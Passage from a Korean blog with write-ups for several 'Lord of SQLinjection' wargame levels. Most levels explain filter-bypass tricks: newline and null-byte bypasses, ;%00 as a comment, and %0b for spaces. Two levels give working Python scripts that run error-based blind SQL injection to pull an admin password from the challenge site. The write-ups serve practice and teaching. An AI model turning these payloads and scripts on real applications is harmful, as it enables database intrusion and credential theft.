문제가 깨져서 못푼다고 한다.

이것도 얼떨결에 클리어

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05


문제가 깨져서 못푼다고 한다.

얼떨결에 클리어

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05


php 코드를 보면 이전 문제와 비슷하지만 다른점은 에러가 나오면 화면에 아무것도 표시하지 않는다.

이번에는 화면에 아무것도 표시되지 않는 부분을 이용해 error based sql injection을 하면 된다.

조건을 줘서 blind sqlinjection을 하려고 했으나 if가 필터에 걸려있다.. 처음엔 여기를 보고 coalesce를 이용해 풀려고 했으나 복잡하여 다른 방법을 생각하다가 mysql에서 a or b에서 a가 참이면 뒤의 b가 참이 아니여도 참이 된다는 것일 이용해 b 부분에 subquery를 이용해 에러메시지가 나오도록 하면 풀 수 있다는 것을 알았다.


먼저 pw 길이를 구하는 쿼리다.


?pw=' or id='admin' and (length(pw)=8 or (select id union select 2))%23

아래는 pw를 구하는 코드다.

import urllib, urllib2

flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?"
                dat = "pw=%27%20or%20id=%27admin%27%20and%20(ord(mid(pw,{},1))={}%20or%20(select%20id%20union%20select%202))%23".format(i, j)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if len(res) != 0:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)






'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05

php 코드를 보면 sleep과 benchmark외엔 싱글쿼터나 기본적인 문자열를 막지는 않는다.

근데 조금 다른점은 이전에는 쿼리를 성공적으로 수행하면 Hello admin 형식으로 id를 출력해준다. 하지만 이 문제는 id를 출력해주지 않는 대신 에러가 터지면 mysql_error를 출력해준다. 

error based sql injection 문제다.


그래서 싱글쿼터를 입력해서 쿼리 에러를 내보면 에러 메시지가 나온다.


order by 1을 했을때는 정상적으로 출력되지만


order by 2를 하면 칼럼 수가 틀렸다는 에러가 나온다.


이제 blind sql injection을 하면 된다.  if 문에서 조건이 틀렸을때 에러 메시지가 출력되도록 하면 된다.

칼럼 수가 1개라는 사실을 알았으니 에러메시지는 두개의 칼럼을 select 하는 것으로 에러를 유도하면 된다.

먼저 pw길이를 구해야한다.

아래는 pw길이를 구하는 코드다.


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,20):
        dat = "pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={},1,(select%201%20union%20select%202))%23".format(i)
        req = urllib2.Request(url+dat)
        req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
        req.add_header('Cookie','__cfduid=de7016e2b19d628553d2de89d20fb8f121501639365; PHPSESSID=jo80vpec0eicr1dt140qpqbkq7')
        res = urllib2.urlopen(req).read()
        if "Subquery returns more than 1 row" not in res:
                flag = str(i)
                break
print "FIND length :" + flag

위의 코드를 돌리면 pw 길이가 16으로 나온다. 하지만 한글자당 4바이트이므로 pw의 길이는 4다.

ex) ?pw=' or if((select id='admin' and length(substr(pw,1,1))=4),1,(select 1 union select 2))%23


그리고 아래는 pw를 구하는 error based blind sql injection 코드다


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,5):
        for j in range(33, 127):
                dat = "pw=%27%20or%20if((select%20id=%27admin%27%20and%20ord(substr(pw,{},1))={}),1,(select%201%20union%20select%202))%23".format(i, j)
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()
                print url+dat
                if "Subquery returns more than 1 row" not in res:
                        print "FIND! : " + chr(j)
                        flag += chr(j)
                        break
print "FIND PW :" + flag




Ref.http://pjongy.tistory.com/93


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04

문제를 보면 guest 뒤에 주석으로 막혀있어서 pw파라미터에 값을 입력해도 주석으로 처리되어 아무런 의미가 없다.

php코드를 보면 필터로 중요한 문자열이 걸러지지는 않는다.

처음에 고민을 하다가 %0a로 뉴라인을 만들어 주석을 탈출하면되겠다는 생각이 들었다.


처음엔 그냥 %0a 후 or id='admin'#을 입력했으나 Hello guest가 출력되었다.


그래서 로컬 DB에서 비슷하게 환경을 구성했다.


id가 guest 또는 admin일때 출력하는것이기 때문에 guest와 admin이 둘다 출력되면서 guest가 admin보다 위에 저장되어 있어서 guest가 출력된것이다. 


그래서 guest가 거짓이 되도록 뒤에 and 연산자를 이용해 false를 리턴하게 한 후 or로 id='admin' 을 붙이니 admin이 출력되면서 문제가 풀린다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04

이 문제는 pw 파라미터만 입력을 받는다.

pw에 값을 입력하면 ('')에 싸여 쿼리가 완성된다. php코드에서 필터링이 되는 문자를 살펴보면 이전까지 잘 사용하던 #, -- 이 막혀있다.

주석이 두개나 막혀있고, pw에 6글자 보다 많이 입력할 수가 없다.

문제를 풀기 위해 알아야 할 포인트는 mysql에서 문자열을 0과 비교하면 true가 반환된다. 이를 이용하여 문제를 풀면 된다.

그리고 #, --이 막혀있지만 주석을 ;%00으로 우회할 수있다.


비교하는 값의 맨 앞에 문자가 오면 0과 비교했을때 true가 리턴된다.

하지만 비교하는 값의 맨 앞에 숫자가 오면 0과 비교했을때 false를 리턴한다.




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04

php 코드를 보면 싱글 쿼터가 필터에 막혀있다.

그래서 싱글 쿼터를 우회하는 방법에 대해 검색을 많이 해봤지만.. 역시나 magic_
quote_gpc 나 addslashes외에는 나오지가 않았다.

분명 무슨 방법이 있을거라고 고민하던 중 DB에 싱글쿼터가 들어간 값을  싱글쿼터로 싸인 쿼리에서 뽑을때 그냥 싱글쿼터를 입력하면 에러가 터진다.

따라서 싱글쿼터로 싸인 쿼리에서 싱글쿼터를 포함한 값을 뽑을때는 \' 를 써줘야 싱글쿼터가 문자로 인식된다. 이 방법을 이용하면 이 문제가 풀린다.

id 파라미터에 \를 넣고 pw에서 True값을 만들면 문제가 풀린다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02

문제를 보면 id, pw 파라미터에 값을 넣어 쿼리를 완성하는 구조다.

그리고 php 코드를 보면 필터에 몇가지가 막혀있고 싱글쿼터 또한 막혀있다.

하지만 싱글쿼터 같은 경우는 ereg 함수를 사용해서 필터가 걸려있다.

ereg함수에 취약점이 존재하기 때문에 이 부분을 이용해 문제를 풀 수 있다.

php.net 레퍼런스를 통해 ereg 함수를 확인하면 preg_match함수로 대체 하라는 경고 문이 있다.

이는 ereg함수가 취약점이 존재하니 새로운 함수를 사용하라는 의미다.


파라미터에 값을 입력할때 %00 널바이트를 삽입한 후 문자를 입력하면 ereg함수에 매치된 필터를 우회할 수 있다.



ref. http://hackability.kr/entry/PHP-문자열-필터링-함수ereg-eregi-취약점을-이용한-우회



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02

pw 파라미터로 들어간 값이 like 뒤에 들어가는 구조다.

SQL 와일드 카드를 이용하여 문제를 풀 수 있을것 처럼 보인다.

그래서 %를 pw파라미터에 넣어주면 Hello guest가 나온다. 그래서 처음엔 어떻게 admin을 출력할지 고민하다가

admin과 guest의 pw가 다르게 되는 순간을 찾자고 생각했다.

한글자씩 찾기 위해 blind sqlinjection을 하듯이 파이썬으로 모든 문자에 대해 인젝션을 하다보니 admin과 guest의 pw가 다른 부분이 나와서 문제를 풀었다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30

문제를 보면 단순하게 1234를 select하는 쿼리지만 from과 테이블 명이 붙어있다.

php 코드를 보면 shit파라미터로 입력한 값이 from과 테이블 명 사이에 들어가서 쿼리를 완성한다.

저 부분을 띄어주면 문제는 간단하게 풀릴것으로 보인다.

하지만 필터를 보면 %0a, %0d가 막혀있고 단순 공백도 막혀있다.

그래서 구글을 통해 white space를 bypass 하는 키워드로 검색하니 %0b로 공백을 우회할 수 있다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection golem  (0) 2017.07.30

+ Recent posts